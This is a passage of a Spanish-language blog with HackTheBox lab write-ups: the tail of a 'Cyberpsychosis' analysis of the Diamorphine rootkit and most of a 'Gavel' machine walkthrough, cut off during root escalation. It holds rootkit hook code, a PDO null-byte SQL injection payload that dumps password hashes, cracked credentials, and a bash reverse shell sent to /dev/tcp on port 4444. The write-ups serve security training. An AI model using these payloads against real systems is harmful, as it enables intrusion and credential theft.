Ghidra lo detecta como Long), luego cambia todos los UID/RID a 0 (para hacer root al usuario), y finalmente hace commit_creds() para guardar los cambios. No hay nada más, así que no es la función que buscamos.\nhacked_kill() -\u0026gt; Señal custom # Esta es una de las syscalls cuya dirección de salto el rootkit ha modificado para que se ejecuten instrucciones diferentes. En el código original vemos que se trata de dos funciones, y se usa una u otra en función de la versión del kernel.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #if LINUX_VERSION_CODE \u0026gt; KERNEL_VERSION(4, 16, 0) asmlinkage long hacked_kill(const struct pt_regs *pt_regs){ #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) pid_t pid = (pid_t) pt_regs-\u0026gt;di; int sig = (int) pt_regs-\u0026gt;si; #elif IS_ENABLED(CONFIG_ARM64) pid_t pid = (pid_t) pt_regs-\u0026gt;regs[0]; int sig = (int) pt_regs-\u0026gt;regs[1]; #endif #else asmlinkage long hacked_kill(pid_t pid, int sig){ #endif struct task_struct *task; switch (sig) { case SIGINVIS: if ((task = find_task(pid)) == NULL) return -ESRCH; task-\u0026gt;flags ^= PF_INVISIBLE; break; case SIGSUPER: give_root(); break; case SIGMODINVIS: if (module_hidden) module_show(); else module_hide(); break; default: #if LINUX_VERSION_CODE \u0026gt; KERNEL_VERSION(4, 16, 0) return orig_kill(pt_regs); #else return orig_kill(pid, sig); #endif } return 0; } Gracias a que tienen headers diferentes, podemos ver que la que se nos muestra en Ghidra es int hacked_kill(pt_regs *pt_regs), es decir, la primera, así que nos quedamos con esa:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 asmlinkage long hacked_kill(const struct pt_regs *pt_regs){ pid_t pid = (pid_t) pt_regs-\u0026gt;di; int sig = (int) pt_regs-\u0026gt;si; struct task_struct *task; switch (sig) { case SIGINVIS: if ((task = find_task(pid)) == NULL) return -ESRCH; task-\u0026gt;flags ^= PF_INVISIBLE; break; case SIGSUPER: give_root(); break; case SIGMODINVIS: if (module_hidden) module_show(); else module_hide(); break; default: return orig_kill(pt_regs); } return 0; } Si miramos la función hacked_kill() de Ghidra, vemos que hace exactamente lo mismo y no hay datos escondidos por ahí, aunque hay algo relevante: la señal usada para mostrar/ocultar el módulo del kernel no es la que venía por defecto (63), sino que es la 46.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int hacked_kill(pt_regs *pt_regs){ ...[SNIP]... if (sig == 46) { // Esconder/Mostrar módulo del kernel // No es la señal default } else if (sig == 64) { // Hacer root al usuario } } else { ...[SNIP]... if (sig == 31) { // Mostrar u ocultar proceso } return sig; } En\nhacked_getdents() -\u0026gt; Magic Prefix Custom # Sabemos que el rootkit hacía dos cosas en esta función:\nSi se lista /proc, se ocultan los procesos marcados como invisibles Si no, se ocultan elementos (archivos/directorios) que empiecen por MAGIC_PREFIX Pero cuál es el MAGIC_PREFIX? Si buscamos en Ghidra:\n1 2 3 4 5 6 7 8 9 10 11 12 ...[SNIP]... memmove(__dest,(void *)((long)__dest + (ulong)*(ushort *)((long)__dest + 0x10)),__n); } else { if ((*(long *)((long)pvVar1 + 0x12) == 0x69736f6863797370) \u0026amp;\u0026amp; (*(char *)((long)pvVar1 + 0x1a) == \u0026#39;s\u0026#39;)) { if (pvVar1 == __dest) goto LAB_00100245; LAB_0010020a: *(short *)((long)pvVar11 + 0x10) = *(short *)((long)pvVar11 + 0x10) + *(short *)((long)pvVar1 + 0x10); pvVar12 = pvVar11; } Aquí vemos una serie de datos (recordemos que en Little-Endian): 0x69736f6863797370 y 's'. Esto, pasado a ASCII, es:\ns + isohcysp = psychosis Conexión al servidor # Así que sabemos que el rootkit, cuando está activo, oculta todos los archivos que empiecen por psychosis. Además, sabemos cómo desactivarlo, pues con la señal 46 se muestra/oculta el malware:\n1 2 3 4 5 #The module starts invisible, to remove you need to make it visible kill -63 0 # En nuestro caso el 46 #Then remove the module(as root) rmmod diamorphine Para ello, primero tendremos que hacernos root, usando la propia funcionalidad del rootkit:\n1 2 3 4 5 6 ~$ id uid=1000 gid=1000 groups=1000 ~$ kill -64 8888 ~# whoami root Ahora hacemos visible el módulo usando la señal custom y lo desactivamos\n1 2 3 ~# find / -iname \u0026#34;psychosis*\u0026#34; 2\u0026gt;/dev/null # Vemos que no se encuentra nada ~# kill -46 9999 ~# rmmod diamorphine Finalmente buscamos archivos que empiecen por psychosis:\n1 2 3 4 5 6 7 8 9 10 ~# find / -iname \u0026#34;psychosis*\u0026#34; 2\u0026gt;/dev/null /opt/psychosis ~# cd /opt/psychosis \u0026amp;\u0026amp; ls total 304 -rw-r--r-- 1 root root 306912 Sep 7 2023 diamorphine.ko -rw-r--r-- 1 root root 73 Sep 7 2023 flag.txt ~# cat flag.txt HTB{...} Y tenemos el flag.\n","date":"14 de marzo de 2026","externalUrl":null,"permalink":"/writeups/cyberpsychosis/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Rootkit (diamorphine), Reversing, Ghidra","title":"HackTheBox - Cyberpsychosis","type":"writeups"},{"content":"","date":"14 de marzo de 2026","externalUrl":null,"permalink":"/tags/rootkit/","section":"Tags","summary":"","title":"Rootkit","type":"tags"},{"content":"","date":"12 de marzo de 2026","externalUrl":null,"permalink":"/tags/custom-binary/","section":"Tags","summary":"","title":"Custom Binary","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. ~8.5h (+3h Decompilando) Datos Iniciales: 10.129.9.253 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA) |_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://gavel.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel #Nada en UDP (Solo DHCP) 22/TCP (SSH) Versión vulnerable a RegreSSHion pero con difícil explotación, posiblemente no sea el vector. 80/TCP (HTTP): Se nos redirige a gavel.htb, lo añadimos a /etc/hosts y buscamos subdominios. HTTP, gavel.htb # Antes de nada, buscamos subdominios:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 $ gobuster vhost --url http://gavel.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://gavel.htb [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== kubernetes.gavel.htb Status: 301 [Size: 311] [--\u0026gt; http://gavel.htb/] image.gavel.htb Status: 301 [Size: 306] [--\u0026gt; http://gavel.htb/] m.gavel.htb Status: 301 [Size: 302] [--\u0026gt; http://gavel.htb/] secure.gavel.htb Status: 301 [Size: 307] [--\u0026gt; http://gavel.htb/] default.gavel.htb Status: 301 [Size: 308] [--\u0026gt; http://gavel.htb/] ... #Parece que los que no sirven nos redirigen a gavel.htb de nuevo #Podemos probar a filtrar los que nos redirigen a gavel.htb $ gobuster vhost --url http://gavel.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad | grep -v \u0026#39;http://gavel.htb/\u0026#39; =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://gavel.htb [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== # No sale nada No hemos podido encontrar ningún subdominio nuevo, así que vamos directos a gavel.htb.\nAl entrar, encontramos una página web para, al parecer, realizar pujas de ciertos objetos. Desde esta página vemos 2 cosas relevantes:\nEn el título se indica \u0026ldquo;Gavel 2.0\u0026rdquo;, pueden ser el servicio y versión reales? Con el We don't talk about Gavel 1.0. Ever. (It ended in fire, lawsuits, and one mysteriously vanishing moon.) de abajo podemos deducir que simplemente se trata del contexto de la máquina más que de la versión técnica. Se pueden crear usuarios, así que creamos uno username:password. Mientras tanto, hacíamos un análisis de directorios:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ gobuster dir -u http://gavel.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php =============================================================== index.php (Status: 200) [Size: 13993] login.php (Status: 200) [Size: 4281] register.php (Status: 200) [Size: 4485] admin.php (Status: 302) [Size: 0] [--\u0026gt; index.php] assets (Status: 301) [Size: 307] [--\u0026gt; http://gavel.htb/assets/] rules (Status: 301) [Size: 306] [--\u0026gt; http://gavel.htb/rules/] includes (Status: 301) [Size: 309] [--\u0026gt; http://gavel.htb/includes/] logout.php (Status: 302) [Size: 0] [--\u0026gt; index.php] inventory.php (Status: 302) [Size: 0] [--\u0026gt; index.php] server-status (Status: 403) [Size: 274] bidding.php (Status: 302) [Size: 0] [--\u0026gt; index.php] Una vez con un usuario, hacemos una puja de 2000 por un objeto para ver qué pasa.\nVemos que se hace una solicitud a bid_handler.php:\nY una vez ha acabado el tiempo, entramos a nuestro inventario:\nProbando XSS # Aquí podemos ver que arriba a la izquierda aparece nuestro username, podríamos probar a ver si la página es vulnerable a un Stored XSS. Pero cuando intentamos crear un usuario malicioso:\nAdemás, desde BurpSuite vemos que la comprobación se realiza del lado del servidor, así que no hay mucho que podamos hacer.\nProbando SQLi # Si hacemos una solicitud a inventory.php y la interceptamos con BurpSuite, podemos ver que es algo así:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /inventory.php HTTP/1.1 Host: gavel.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://gavel.htb/inventory.php Content-Type: application/x-www-form-urlencoded Content-Length: 37 Origin: http://gavel.htb Connection: keep-alive Cookie: gavel_session=u6j36l8aubq24hgg3e3rmv8ldr Upgrade-Insecure-Requests: 1 Priority: u=0, i user_id=2\u0026amp;sort=quantity Si se está devolviendo el inventario de nuestro usuario en función de user_id=2 y se ordena en función de sort, podemos tratar de hacer algunas inyecciones SQL:\nMandamos esto para ver si podemos ver todos los objetos de inventarios de los usuarios:\n1 user_id=1\u0026#39;+or+1%3d1--+-\u0026amp;sort=quantity Y vemos que no se nos devuelve nada (inventario vacío), así que posiblemente user no sea inyectable. Por otro lado, si probamos con sort, vemos que si su valor no es quantity ni name no se devuelve nada, y tampoco es inyectable.\nMás enumeración, Source Code Disclosure # Pasado un rato, pruebo a enumerar el directorio en que se encontraba bid_handler.php: includes/.\n1 2 3 4 5 6 7 8 $ gobuster dir -u http://gavel.htb/includes/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php =============================================================== Starting gobuster in directory enumeration mode =============================================================== db.php (Status: 200) [Size: 0] config.php (Status: 200) [Size: 0] auction.php (Status: 200) [Size: 0] session.php (Status: 200) [Size: 0] Pero, tras echar un vistazo, veo que no dan info nueva ni sirven como vectores de entrada. El único que hacía algo relevante era session.php porque daba cookies de sesión, pero tampoco podía hacerse nada con ellas.\nDedido volver a hacer un escaneo nmap por si nos habíamos dejado algo antes, y encuentro lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 |_http-title: Gavel Auction |_http-server-header: Apache/2.4.52 (Ubuntu) | http-git: | 10.129.9.253:80/.git/ | Git repository found! | .git/config matched patterns \u0026#39;user\u0026#39; | Repository description: Unnamed repository; edit this file \u0026#39;description\u0026#39; to name the... |_ Last commit message: .. Service Info: Host: gavel.htb Scans de Nmap Aquí aprendo que nmap también activa unos u otros scripts (-sC) en función de si trabaja sobre una IP o si lo hace sobre un nombre de dominio (Algo evidente pero que no hubiese pensado que marcaría una diferencia). Además, antes es muy probable que no hubiese encontrado el repositorio porque ni siquiera pudiese haber llegado a él, dado que cualquier solicitud resultaba en un redirect a gavel.htb que no daba ninguna información nueva.\nConclusión Hacer futuros escaneos de nmap que vayan a servicios HTTP después de tener el nombre de dominio (si se nos redirige automáticamente), para que nmap pueda usar sus scripts completos.\nSi miramos los archivos en el .git, encontramos http://gavel.htb/.git/config:\n1 2 3 4 5 6 7 8 [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [user] name = sado email = sado@gavel.htb Gracias a que en el .git se guardan los cambios realizados (commits), estructuras de directorios y backups completos, podemos reconstruir el directorio al 100% si lo descargamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ wget -e robots=off -r --no-parent --no-host-directories http://gavel.htb/.git/ $ git init . $ git checkout -f $ ls -al total 96 drwxrwxr-x 6 kali kali 4096 Mar 5 14:55 . drwx------ 33 kali kali 4096 Mar 5 14:55 .. -rwxrwxr-x 1 kali kali 8820 Mar 5 14:55 admin.php drwxrwxr-x 6 kali kali 4096 Mar 5 14:55 assets -rwxrwxr-x 1 kali kali 8441 Mar 5 14:55 bidding.php drwxrwxr-x 8 kali kali 4096 Mar 5 14:55 .git drwxrwxr-x 2 kali kali 4096 Mar 5 14:55 includes -rwxrwxr-x 1 kali kali 14520 Mar 5 14:55 index.php -rwxrwxr-x 1 kali kali 8384 Mar 5 14:55 inventory.php -rwxrwxr-x 1 kali kali 6408 Mar 5 14:55 login.php -rwxrwxr-x 1 kali kali 161 Mar 5 14:55 logout.php -rwxrwxr-x 1 kali kali 7058 Mar 5 14:55 register.php drwxrwxr-x 2 kali kali 4096 Mar 5 14:55 rules Y tenemos el código fuente. Haciendo algo más de enumeración:\nEn includes/config.php: 1 2 3 4 define(\u0026#39;DB_HOST\u0026#39;, \u0026#39;localhost\u0026#39;); define(\u0026#39;DB_NAME\u0026#39;, \u0026#39;gavel\u0026#39;); define(\u0026#39;DB_USER\u0026#39;, \u0026#39;gavel\u0026#39;); define(\u0026#39;DB_PASS\u0026#39;, \u0026#39;gavel\u0026#39;); SQLi (de nuevo) # Aunque antes hayamos hecho una enumeración muy leve de SQLi, conviene buscar más ahora que tenemos el código fuente delante.\nNormalmente en las conexiones PHP-DB se usan prepared statements con parámetros. Primero se envía al servidor SQL una plantilla del query y luego los valores del usuario se pasan por separado para que la DB sepa que los valores del usuario son datos sin más.\nLa vulnerabilidad aparece cuando el desarrollador concatena directamente el input del usuario dentro del string SQL antes de ejecutarlo, lo que hace que se pase un query SQL ya modificado por el usuario a la DB.\nEsto está bien:\n1 2 $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT * FROM users WHERE username = ? AND password = ?\u0026#34;); $stmt-\u0026gt;execute([$_POST[\u0026#39;user\u0026#39;], $_POST[\u0026#39;pass\u0026#39;]]); Esto es vulnerable:\n1 2 $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT * FROM users WHERE username = \u0026#39;\u0026#34; . $_POST[\u0026#39;user\u0026#39;] . \u0026#34;\u0026#39;\u0026#34;); $stmt-\u0026gt;execute(); Usar prepare() sin más no hace que la consulta sea segura, lo que determina la seguridad y la potencial vulnerabilidad a SQLi es el usar los parámetros dentro directamente o pasarlos junto con el query aparte.\nSi buscamos los queries SQL realizados en todos los archivos del servidor web, y de entre ellos escogemos los que tienen el segundo formato de los anteriores:\n1 2 3 4 $ grep -r \u0026#34;prepare\u0026#34; --context=2 | grep -viE \u0026#39;js|css|html|hooks\u0026#39; ...[SNIP]... inventory.php: $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC\u0026#34;); Hemos encontrado un caso posiblemente vulnerable, aunque tiene una distinción clave con los explicados anteriormente, y es que el punto vulnerable no está tras un WHERE (user input son datos), sino tras un SELECT (user input es una tabla, columna o db) con $col, que se escapa de forma diferente y se trata de forma diferente.\nExplicación: Null Byte SQLi in PDO # Basándonos en la info de algunas páginas (Principalmente SLCyber) podemos explicar la vulnerabilidad y la posterior explotación.\nPartimos de qué es PDO:\nPDO (PHP Data Objects) es una extensión de PHP que proporciona una interfaz para acceder a bases de datos (de las extensiones para ello más usadas) desde aplicaciones PHP. Permite usar las mismas funciones para interactuar con diferentes bases de datos, como MySQL, PostgreSQL, SQLite, etc.\nPara pasar el input del usuario y la consulta a la base de datos desde un servicio web, idealmente se haría lo siguiente en 2 viajes (Prepared Statement):\nEstructura: El servicio web manda la consulta a la DB, pero con un placeholder: SELECT * FROM users WHERE username = ?, y la DB se bloquea, esperando al dato que va en ? Datos: El servicio web manda a la DB el valor. Como la DB ya tiene el query, mande lo que mande el usuario se tomará como dato, independientemente de si es admin o user' OR 1=1 -- -, la DB lo tratará como texto. Como la estructura ya estaba creada y bloqueada en el primer paso, es imposible que el dato enviado en el segundo paso altere la lógica del query, de ahí que esto sea seguro. El problema que hace que nuestro caso sea vulnerable es la siguiente línea de la página citada antes:\nIn fact, PDO emulates all prepared statements in MySQL by default. Unless you explicitly disable PDO::ATTR_EMULATE_PREPARES PDO will actually do all the escaping itself before your query even hits the database.\nEsto significa que (por razones históricas), PDO en PHP no usa ese \u0026ldquo;modelo ideal\u0026rdquo;, sino que emula el prepared statement. PDO actúa como intermediario que toma la consulta con los placeholders (?), la procesa y construye un string único que manda a la base de datos como un solo query. A ojos del desarrollador puede parecer un prepared statement, pero a ojos de la DB, no es un prepared statement, sino una única consulta SQL normal.\nCómo hace PDO esa emulación? Si PDO es el encargado de unir el query con los datos antes de enviarlo a la DB, tiene que buscar dónde están los placeholders (?) para reemplazarlos y luego construir el string con todo.\nPodría parecer algo muy simple, pero si el desarrollador pone algo como:\n1 SELECT * FROM songs WHERE title = \u0026#39;Who are you?\u0026#39; AND author_id = ? Y se leen y reemplazan indiscriminadamente los ? según se encuentran, el input del usuario \u0026ldquo;The Who\u0026rdquo; iría al ? de \u0026ldquo;Who are you?\u0026rdquo; y no al de \u0026ldquo;author_id = ?\u0026rdquo;, rompiendo la consulta. Por eso hace falta un criterio para saber dónde y dónde no sustituir.\nPara solucionar eso, los creadores de PHP hicieron un parser dentro del código fuente de PDO que funciona de la siguiente manera:\nSi se ve una comilla simple (\u0026rsquo;) o un backtick (`), se considera un string literal y no se reemplaza ningún ? hasta que no se cierra el string. El problema en esto es que el parser define que los caracteres válidos que puede haber dentro de un string (entre comillas) son cualquier cosa entre \\001 y \\377, es decir, que si pasamos un Null Byte (0x00) \\0, el parser se lía porque \\0 no está en la lista de permitidos, lo que hace que retroceda (backtrack).\nEste backtrack provoca que el parser vuelva al inicio de string, pero con el backtick o la comilla original pasando a ser ignorados, lo que hará que cuando se vea el signo de interrogación del usuario ? se tome como un parámetro válido y se sustituyan los datos en ese ?.\nExplotación # Si ahora volvemos al contexto completo:\n1 2 3 4 5 6 7 8 9 10 11 $userId = $_POST[\u0026#39;user_id\u0026#39;] ?? $_GET[\u0026#39;user_id\u0026#39;] ?? $_SESSION[\u0026#39;user\u0026#39;][\u0026#39;id\u0026#39;]; $sortItem = $_POST[\u0026#39;sort\u0026#39;] ?? $_GET[\u0026#39;sort\u0026#39;] ?? \u0026#39;item_name\u0026#39;; $col = \u0026#34;`\u0026#34; . str_replace(\u0026#34;`\u0026#34;, \u0026#34;\u0026#34;, $sortItem) . \u0026#34;`\u0026#34;; try { if ($sortItem === \u0026#39;quantity\u0026#39;) { $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC\u0026#34;); $stmt-\u0026gt;execute([$userId]); } else { $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC\u0026#34;); $stmt-\u0026gt;execute([$userId]); } Vemos que se toma el input, se le quitan los backticks, y se guarda en col. Si nuestro input tenía backticks, el código irá al bloque else que nos llevará al siguiente query:\n1 SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC Aquí controlamos dos elementos:\ncol: Columna, input en el que se borran los backticks. user_id: Parámetro que se pasa de forma segura a execute() Podemos usar un payload como el mostrado aquí:\n1 2 sort=\\?;-- %00 user_id=x` FROM (SELECT password AS `\u0026#39;x` FROM users)y;-- - En sort:\n\\ permite escapar la comilla simple que PDO pondrá cuando inyecte nuestro user_id en el ?, el nombre de la columna será literalmente \\'x ? es el falso parámetro, aquí irá user_id ;-- - es un comentario de SQL, para que PDO deje de buscar parámetros después de este. %00 es el Null Byte, el causante de la vulnerabilidad. Cuando PDO lo lea la primera vez, retrocederá al inicio del string y dejará de tomar el ? anterior como string. En user_id:\nx es un caracter de relleno, valdría cualquiera. (`) sirve para cerrar el string que define el nombre de la columna (SELECT ... FROM users) es una subconsulta SQL El AS dentro fuerza a que la subconsulta devuelva una columna llamada igual que la columna original ('x), dado que, si el nombre no es igual, la consulta dará un error. ;-- - es un comentario que termina la consulta. Mandamos el payload codificado para URL y:\nProbamos ahora a usar SELECT username en lugar de password y conseguimos el usuario auctioneer:\nDe todas formas, este usuario estaba también hardcodeado en el código fuente de inventory.php:\n1 2 3 4 5 6 7 8 $ grep --context=3 \u0026#34;auctioneer\u0026#34; inventory.php \u0026lt;span\u0026gt;Bidding\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;?php if ($_SESSION[\u0026#39;user\u0026#39;][\u0026#39;role\u0026#39;] === \u0026#39;auctioneer\u0026#39;): ?\u0026gt; \u0026lt;li class=\u0026#34;nav-item\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;nav-link\u0026#34; href=\u0026#34;admin.php\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-tools\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; Crackeando Hashes # Así que tenemos el usuario auctioneer y 2 hashes, pero uno de ellos pertenece al usuario username creado por nosotros, cuya contraseña es password, así que el otro es de auctioneer.\n1 2 $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS $2y$10$MDN/2yk9QVwQo/QRXR/lzuqxjiUouX4sbmX3j5Uyy2ys.N6px.oR6 Los metemos a hashcat con -m 3200 (Blowfish) y sacamos:\n1 2 username:password -\u0026gt; El que ya sabíamos auctioneer:midnight1 Probamos a conectarnos por SSH:\n1 2 3 4 $ ssh auctioneer@gavel.htb auctioneer@gavel.htb\u0026#39;s password: Permission denied, please try again. auctioneer@gavel.htb\u0026#39;s password: Pero no parece ser para SSH, así que vamos a la web e iniciamos sesión como auctioneer.\nPanel de Admin # Entramos al panel de admin y encontramos lo siguiente:\nNo parece que podamos hacer mucho más que lo que podíamos hacer antes, pero ahora tenemos permiso para modificar 2 cosas:\nMensaje de cada elemento que se puja: Potencial XSS? De todas formas, no serviría de mucho ni siquiera para robar cookies porque ya somos el user más privilegiado de la app web. Regla a comprobar cuando un usuario puja: Según como se compruebe esto a nivel de servidor, podríamos conseguir RCE. Como tenemos acceso al código fuente, podemos echar un ojo a bidding.php, bid_handler.php y a admin.php.\nCuando estamos en bidding.php e intentamos realizar una puja, mandamos un mensaje POST a bid_handler.php, que hace lo siguiente:\nComprueba que la puja no ha terminado (sigue activa) Comprueba que nuestra puja es mayor que 0 Comprueba que nuestra puja es mayor que la actual Comprueba que tenemos suficiente dinero Comprueba que se cumple la regla custom Esto último se hace en estas líneas:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $rule = $auction[\u0026#39;rule\u0026#39;]; // Almacenado en la DB ... $rule = $auction[\u0026#39;rule\u0026#39;]; // Almacenado en la DB $rule_message = $auction[\u0026#39;message\u0026#39;]; // Almacenado en la DB $allowed = false; try { if (function_exists(\u0026#39;ruleCheck\u0026#39;)) { runkit_function_remove(\u0026#39;ruleCheck\u0026#39;); } runkit_function_add(\u0026#39;ruleCheck\u0026#39;, \u0026#39;$current_bid, $previous_bid, $bidder\u0026#39;, $rule); error_log(\u0026#34;Rule: \u0026#34; . $rule); $allowed = ruleCheck($current_bid, $previous_bid, $bidder); } catch (Throwable $e) { error_log(\u0026#34;Rule error: \u0026#34; . $e-\u0026gt;getMessage()); $allowed = false; } if (!$allowed) { echo json_encode([\u0026#39;success\u0026#39; =\u0026gt; false, \u0026#39;message\u0026#39; =\u0026gt; $rule_message]); exit; } //Tras esto se realiza la transacción Se comprueba si existe una regla, y si existe, se borra Se crea una nueva regla en base a lo que hay en $rule Se establece el parámetro $allowed en función a si se cumple o no la regla. El motivo por el cual primero se borra una posible regla existente (runkit_function_remove) y luego se crea de nuevo (runkit_function_add) puede ser para actualizar la regla si el administrador la ha cambiado recientemente, porque si no se haría la comprobación sobre una regla obsoleta.\nPor otro lado, no sé del todo cómo funciona runkit_function_add más allá de la generalización de que \u0026ldquo;crea una función\u0026rdquo;, así que tendremos que mirar más a fondo. Tras mirar en un manual de PHP:\n1 2 3 4 5 6 7 8 9 10 11 12 13 bool runkit_function_add ( string funcname, string arglist, string code ) // funcname: Name of function to be created // arglist: Comma separated argument list // code: Code making up the function // EJEMPLO: runkit_function_add(\u0026#39;testme\u0026#39;,\u0026#39;$a,$b\u0026#39;,\u0026#39;echo \u0026#34;The value of a is $a\\n\u0026#34;; echo \u0026#34;The value of b is $b\\n\u0026#34;;\u0026#39;); testme(1,2); //Output: // The value of a is 1 // The value of b is 2 Así que en este caso:\n1 2 3 4 5 runkit_function_add(\u0026#39;ruleCheck\u0026#39;, \u0026#39;$current_bid, $previous_bid, $bidder\u0026#39;, $rule); // ruleCheck es el nombre de la función // current_bid, previous_bid y bidder son argumentos // rule es el código que hace la función Es decir, que podemos meter código arbitrario directamente, como:\n1 exec(\u0026#34;/bin/bash -c \u0026#39;bash -i \u0026gt; /dev/tcp/10.10.15.75/4444 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;); Lo metemos a una puja, intentamos comprarla y:\n1 2 3 4 5 6 7 $ penelope -i 10.10.15.75 [+] Listening for reverse shells on 10.10.15.75:4444 [+] Got reverse shell from gavel~10.129.242.203-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! www-data@gavel:/var/www/html/gavel/includes$ Privesc 1: www-data -\u0026gt; auctioneer # Una vez hemos entrado como www-data y tras hacer un poco de enumeración, encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 www-data@gavel:/$ ls -al total 76 drwxr-xr-x 19 root root 4096 Nov 5 12:46 . drwxr-xr-x 19 root root 4096 Nov 5 12:46 .. -rw-r--r-- 1 root root 315 Oct 3 20:04 invoice.txt ... www-data@gavel:/$ cat invoice.txt ==================== GAVEL AUCTION INVOICE ==================== Date: Fri Oct 3 20:04:43 2025 No. Winner Item Name --------------------------------------------------------------- No items won. ================================================================ Puede ser que se trate de un cronjob que además se ejecuta como root, así que miramos en /etc:\n1 2 3 4 5 6 7 8 9 10 www-data@gavel:/$ ls -al /etc/cron* -rw-r--r-- 1 root root 1136 Mar 23 2022 /etc/crontab /etc/cron.d: total 20 drwxr-xr-x 2 root root 4096 Jul 29 2025 . drwxr-xr-x 102 root root 4096 Nov 5 12:47 .. -rw-r--r-- 1 root root 102 Mar 23 2022 .placeholder -rw-r--r-- 1 root root 201 Jan 8 2022 e2scrub_all -rw-r--r-- 1 root root 712 Jan 28 2022 php Ahí vemos un php:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 www-data@gavel:/$ cat /etc/cron.d/php # /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP # This purges session files in session.save_path older than X, # where X is defined in seconds as the largest value of # session.gc_maxlifetime from all your SAPI php.ini files # or 24 minutes if not defined. The script triggers only # when session.save_handler=files. # # WARNING: The scripts tries hard to honour all relevant # session PHP options, but if you do something unusual # you have to disable this script and take care of your # sessions yourself. # Look for and purge old sessions every 30 minutes 09,39 * * * * root [ -x /usr/lib/php/sessionclean ] \u0026amp;\u0026amp; if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi Pero resulta no ser nada relevante.\nAunque antes hayamos probado con las credenciales auctioneer:midnight1 y no funcionase, pruebo de nuevo a hacer su auctioneer:\n1 2 3 www-data@gavel:/$ su auctioneer Password: # midnight1 auctioneer@gavel:/$ El motivo por el que ahora nos ha dejado pero antes no nos dejaba entrar por ssh es el siguiente:\n1 2 auctioneer@gavel:/$ cat /etc/ssh/sshd_config | grep -i \u0026#39;DenyUsers\u0026#39; DenyUsers auctioneer Hay una configuración explícita que hace que no podamos conectarnos por ssh aunque sepamos la contraseña.\nPrivesc 2: auctioneer -\u0026gt; root # Antes ya habíamos encontrado el archivo /invoice.txt, podemos intentar buscar de dónde sale porque posiblemente sea el vector de escalada de privilegios que buscamos. Dado que el archivo lo había creado root pero todo lo que tiene que ver con la web se ejecuta con privilegios menores (www-data), es posible que se trate de un script o binario en el sistema.\nTras una búsqueda, encontramos el binario /usr/local/bin/gavel-util, que hace lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 